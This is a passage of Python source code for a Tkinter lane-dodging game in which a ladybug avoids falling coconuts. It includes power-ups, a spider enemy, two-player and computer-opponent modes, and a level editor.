data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef twoPlayerTimerFired(data):\n if data.winner == None:\n data.player1Y -= data.speed\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n drop2Player(data)\n data.player2Y -= data.speed\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n drop2Player(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n powerupTimerFired(data)\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n\n\ndef coconutShotAI(data):\n if data.winner == None:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 40 and abs(xPosition1 - 360) > 40:\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 8 == 0:\n xPosition2 = random.randint(0, 80)\n xPosition3 = random.randint(364, 385)\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition2, 0))\n data.coconutsAI1.append(Coconuts(xPosition3, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition2 + 410, 0))\n data.coconutsAI2.append(Coconuts(xPosition3 + 410, 0))\n addExtraCoconut(data)\n addPowerUpsAI(data)\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, 